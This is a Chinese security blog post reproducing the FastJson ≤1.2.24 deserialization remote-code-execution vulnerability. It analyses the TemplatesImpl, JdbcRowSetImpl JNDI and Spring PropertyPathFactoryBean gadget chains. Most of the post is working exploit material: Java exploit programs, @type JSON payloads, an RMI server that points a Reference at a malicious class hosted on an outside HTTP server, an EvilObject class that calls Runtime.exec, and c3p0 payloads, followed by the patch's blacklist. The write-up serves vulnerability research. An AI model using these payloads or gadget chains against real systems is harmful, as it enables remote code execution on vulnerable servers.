0%

FastJson反序列化回顾系列(一)

FastJson是一个由alibaba维护的json库,应用范围很广。2017年3月15日由官方发布最早的安全公告。该公告表示FastJson在1.2.24及之前版本存在远程代码执行漏洞。紧接着于4月29日出现相关POC。这篇文章就是来分析复现这一漏洞。

整个复现系列的payload放在了github上。

漏洞信息

影响版本

  • fastjson <=1.2.24

漏洞原因

漏洞产生的原因是由于fastjson反序列化Json字符串为Java对象时autoType没有做正确的检测处理。

利用方式

  • TemplatesImpl类
  • JNDI注入-JdbcRowSetImpl类

利用链分析之TemplatesImpl类

利用版本

  • 1.2.22 <= fastjson <= 1.2.24

本来公告中表明的是FastJson在1.2.24及之前版本存在远程代码执行漏洞,但是由于此利用方式需要用到Feature.SupportNonPublicField属性,而该属性在1.2.22版本之后才开始提供相应的支持。

利用链

该反序列化漏洞利用链之前分析过的CommonsBeanUtils1中的后半部分payload,即利用TemplatesImpl类的getOutputProperties()函数,调用到newTransformer(),从而RCE。之前利用commons-beanutils中的BeanComparator.compare()方法调用到getOutputProperties()的方法显然是行不通的。那么在这里,我们要解决的问题就是如何调用getOutputProperties()。

如果了解FastJson的反序列化,那么就很容易知道通过TemplatesImpl类成员变量_outputProperties来自动调用getOutputProperties()。如果不了解其反序列化,可以看这篇文章

而在后续的过程中会用到_bytecodes中存放的恶意代码,因此_bytecodes必须是能够被反序列化的。来看看_bytecodes在TemplatesImpl中的情况。

它是一个私有属性,按理来说,它有一个setter方法,不知道是不是由于setter是个私有方法,所以不能被序列化。在这里要想_bytecodes被反序列化,需要设定parseObject()函数的参数Feature.SupportNonPublicField

接下来需要满足的条件就是需要能够调用到getOutputProperties()。这个getter方法正好满足p0’s师傅文章中所写的条件。FastJson会对满足下列要求的getter进行调用。

  • 只有getter没有setter
  • 函数名称大于4
  • 非静态函数
  • 函数名称以get起始,且第四个字符为大写字母
  • 函数没有入参
  • 继承自Collection || Map || AtomicBoolean || AtomicInteger || AtomicLong

来看看getOutputProperties()的情况。

它是一个Properties类,它继承自Hashtable,Hashtable又继承自Map。因此满足条件。

EXP构造

首先可以通过前面Javassist的方式生成恶意的字节码。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

public class test {
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}


public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{}
}


//in main()
String command = "/Applications/Calculator.app/Contents/MacOS/Calculator";
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";


ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass clazz = pool.get(StubTransletPayload.class.getName());

clazz.makeClassInitializer().insertAfter(cmd);
CtClass superC = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superC);

byte[] classBytes = clazz.toBytecode();

然后获取TemplatesImpl.class,构造出序列化JSON数据,如下所示:

1
2
3
4
String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+bytes1+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +
"\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";

在实际利用时,不能直接将获取的字节码转换为字符串进行拼接,而是需要经过一个base64编码变成字符串进行拼接。这个问题会在后面的细节问题中作出解释。

完整的demo如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;

import java.io.*;

public class test {
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}


public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{}
}


public static void main(String[] args) throws Exception{

String command = "/Applications/Calculator.app/Contents/MacOS/Calculator";
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass clazz = pool.get(StubTransletPayload.class.getName());

clazz.makeClassInitializer().insertAfter(cmd);
CtClass superC = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superC);

byte[] classBytes = clazz.toBytecode();

String bytes1 = Base64.encodeBase64String(classBytes);
String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+bytes1+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +
"\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";

Object res = JSON.parseObject(text1, Feature.SupportNonPublicField);

}

}

运行之后的结果如下所示:

漏洞利用细节

01._outputProperties如何与getOutputProperties()关联起来?

可以看到_outputProperties成员变量和getter方法getOutputProperties()之间相差了一个_字符。是如何关联起来的呢?

这是由JavaBeanInfo.build进行处理的,FastJson会创建一个fieldList数组,用于保存目标Java类的成员变量以及相应的setter或getter方法,以供反序列化字段时调用。

FastJson会对setter、getter、成员变量分别进行处理,智能提取出成员变量信息。逻辑如下:

  1. 识别setter方法名,并根据setter方法名提取出成员变量名。
  2. 通过clazz.getFields()获取成员变量。
  3. 识别getter方法名,并根据getter方法名提取出成员变量名。

定位到JavaBeanInfo.build()函数中,来看一下,它是如何从getter方法中提取出成员变量的。可以看到,它是将第4个字符变成小写,然后拼接上后面的字符。

此时在fieldList中存入的是outputProperties与getOutputProperties之间的对应关系。还是没有对应上_outputProperties。继续看,接下来FastJson会语义分析JSON字符串。定位到JavaBeanDeserializer.parseField()函数

这里的key为_outputProperties。这里跟进一下smartMatch(key)。

这里会将_outputProperties这个成员变量与outputProperties相关联,从而也就与getOutputProperties()相关联了。

02.为什么要对_bytecodes进行Base64编码?

在以往的情况下,并不需要对_bytecodes进行Base64编码。而我在newTransformer()函数中发现_bytecodes确实是Base64解码后字节码。那么是在什么地方进行了解码呢?

定位到ObjectArrayCodec.deserialze()

然后跟进byteValue()

在这里进行了base64解码。

利用链分析之JNDI注入

JdbcRowSetImpl

由于此利用方式需要用到JNDI注入,对此不了解的可以先了解一下。此次利用JNDI注入需要满足2个条件:

  1. 存在有漏洞的代码(即lookup(uri),且uri可控)
  2. Java版本(<=jdk1.8_113) (RMI利用方式)

有趣的是,第一点条件可利用com.sun.rowset.JdbcRowSetImpl类完成。定位到JdbcRowSetImpl类,搜索lookup函数,直接定位到connect()函数。

可以看到是很完美的漏洞触发代码,那么需要知道this.getDataSourceName()是否可控。跟进它。它取自BaseRowSet类的getDataSourceName()函数,且dataSource是个私有变量,可以通过其setter函数进行赋值。



而JdbcRowSetImpl类继承自BaseRowSet类,且重写了setDataSourceName()函数,定位到这个函数。

它会调用其父类即BaseRowSet类的setDataSourceName()函数,从而给dataSource赋值。

到这里为止,uri也可控了。但由于上述的connect()是protected类型的,不能直接被访问。所以找到了该类的setAutoCommit()函数。如下所示:

到这里,JdbcRowSetImpl类提供了一个可以进行JNDI注入的入口点。

1
2
3
4
5
6
7
8
9
import com.sun.rowset.JdbcRowSetImpl;

public class client {
public static void main(String args[]) throws Exception{
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("rmi://127.0.0.1:1099/aa");
jdbcRowSet.setAutoCommit(true);
}
}

EXP构造

因此,在进行fastjson反序列化时,需要调用该类的setDataSourceName函数和setAutoCommit函数。那么构造payload传入了dataSourceName变量和autoCommit值。

而实际上,在JdbcRowSetImpl类中并没有这两个成员变量,但传入的payload中若有这2个变量,便可调用对应的setter方法。非常神奇的一点认识。不过联想到fastjson反序列化时获取成员变量的一套逻辑,便可以想通了。

因此payload为:

1
2
3
4
5
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:1099/",
"autoCommit":true
}

复现

首先在web服务器上放入恶意的class文件。在所在目录下利用php内置服务器起一下(php -S 0.0.0.0:2333)。

1
2
3
4
5
6
7
8
9
import java.lang.Runtime;

public class EvilObject{
public EvilObject() throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/sh", "-c", "open /Applications/Calculator.app"};
rt.exec(commands);
}
}

然后起一个rmi服务。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class server_rmi {

public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);

String FactoryURL = "http://101.200.144.143:2333/";
Reference evilObj = new Reference("EvilObject","EvilObject",FactoryURL);
ReferenceWrapper wrapper = new ReferenceWrapper(evilObj);
registry.bind("EvilObject", wrapper);
}
}

完整的客户端demo如下所示:

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;

//@dependency{fastjson:1.2.22-1.2.24}
public class jdbcrowsetimpl {
public static void main(String args[]) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/EvilObject\",\"autoCommit\":true}";
Object res = JSON.parse(payload);

}
}

在JDK1.8_111环境下,运行的结果如下图所示:

PropertyPathFactoryBean

利用此类在fastjson反序列化过程中进行JNDI注入需要依赖于以下的第三方包

  • spring-beans
  • spring-context
  • spring-core

在正式开始分析之前,首先介绍一个在spring-context中类org.springframework.jndi.JndiTemplate。它是spring里面用来简化对JNDI的操作的类,提供了lookup、bind方法。来看看它的lookup方法。

可以看到正好满足了jndi注入的条件,现在需要考虑的是如何调用到此函数,且参数name可控。接着定位到org.springframework.jndi.JndiLocatorSupport类的lookup函数。

该类继承了JndiAccessor类,JndiAccessor类中的getJndiTemplates()函数返回的就是一个JndiTemplate对象。那么接着要找一个调用了JndiLocatorSupport类的lookup函数的类或者直接调用了JndiTemplate类的lookup函数的类。定位到org.springframework.jndi.support.SimpleJndiBeanFactory类。

该类继承自JndiLocatorSupport类,且在多个函数中调用了lookup函数。例如,getBean()doGetTypedoGetSingleton。虽然这里有getBean()函数,但由于它存在入口参数,所以不能在反序列化时被自动调用。那么就继续往下看,看看调用了这三个函数之一的其他函数。定位到org.springframework.beans.factory.config.PropertyPathFactoryBean类的setBeanFactory()

可以看到在该函数中调用了this.beanFactory.getBean()函数,SimpleJndiBeanFactory实现了BeanFactory类,且setBeanFactory()函数满足fastjson反序列化时自动调用的条件。到此整个分析结束。

EXP构造

上面分析了整个过程。首先待反序列化的类是PropertyPathFactoryBean,根据条件。

  • 1)需要给成员变量beanFactory赋值且赋值为SimpleJndiBeanFactory类的对象。
  • 2 需要给targetBeanName赋值为jndi的url。

因此,payload形式为:

1
2
3
4
5
6
7
8
{
"@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean",
"targetBeanName": "rmi://127.0.0.1/EvilObject",
"beanFactory": {
"@type":"org.springframework.jndi.support.SimpleJndiBeanFactory"
}

}

然后看setBeanFactory()函数中要走到getBean()的条件。

很显然,这里的targetBeanName不为null,会走到下面的判断。当propertyPath不为null的情况下,才会继续往下走。

因此payload增加为:

1
2
3
4
5
6
7
8
9
{
"@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean",
"targetBeanName": "rmi://127.0.0.1/EvilObject",
"propertyPath":"foo",
"beanFactory": {
"@type":"org.springframework.jndi.support.SimpleJndiBeanFactory"
}

}

然后就调用this.beanFactory.getBean()方法。 其实在这里不是很能理解,为什么需要加上”shareableResources”的值为[“rmi://127.0.0.1:1099/EvilObject”]。这是必须条件,如果不填写这个值,反序列化beanFactory的时候就会失败,走不到this.beanFactory.getBean()。

之后的完整的payload为

1
2
3
4
5
6
7
8
9
10
{
"@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean",
"targetBeanName": "rmi://127.0.0.1/EvilObject",
"propertyPath":"foo",
"beanFactory": {
"@type":"org.springframework.jndi.support.SimpleJndiBeanFactory"
"shareableResources":["rmi://127.0.0.1:1099/EvilObject"]
}

}

复现

完整的demo

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;

//@dependency{fastjson:1.2.24 ,spring-beans,spring-context,spring-core}
public class propertypathFactorybbean {

public static void main(String args[]) {
String payload = "{\"rand1\": {\"@type\": \"org.springframework.beans.factory.config.PropertyPathFactoryBean\",\"targetBeanName\": \"rmi://127.0.0.1:1099/EvilObject\",\"propertyPath\": \"foo\",\"beanFactory\": {\"@type\": \"org.springframework.jndi.support.SimpleJndiBeanFactory\",\"shareableResources\": [\"rmi://127.0.0.1:1099/EvilObject\"]}}}";
Object res = JSON.parseObject(payload);
}
}

此外还有以下payload可以尝试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
{
"rand1": Set[
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"rmi://127.0.0.1:1099/EvilObject"
]
},
"adviceBeanName": "rmi://127.0.0.1:10099/EvilObject"
},
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"
}
]}



{
"rand1": {
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383038302f740003466f6f;"
}
}


{
"rand1": {
"@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",
"jndiName": "rmi://127.0.0.1:1099/EvilObject",
"loginTimeout": 0
}
}

补丁

通过查看补丁发现,原来根据”@type”的值直接加载类的操作修改为checkAutoType函数了。

且默认情况下autoType关闭了,可以看到它会经过一个黑名单判断,从而抛出异常。

其中黑名单中包括了以下大类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bsh,
com.mchange,
com.sun.,
java.lang.Thread,
java.net.Socket,
java.rmi,
javax.xml,
org.apache.bcel,
org.apache.commons.beanutils,
org.apache.commons.collections.Transformer,
org.apache.commons.collections.functors,
org.apache.commons.collections4.comparators,
org.apache.commons.fileupload,
org.apache.myfaces.context.servlet,
org.apache.tomcat,
org.apache.wicket.util,
org.codehaus.groovy.runtime,
org.hibernate,
org.jboss,
org.mozilla.javascript,
org.python.core,
org.springframework

参考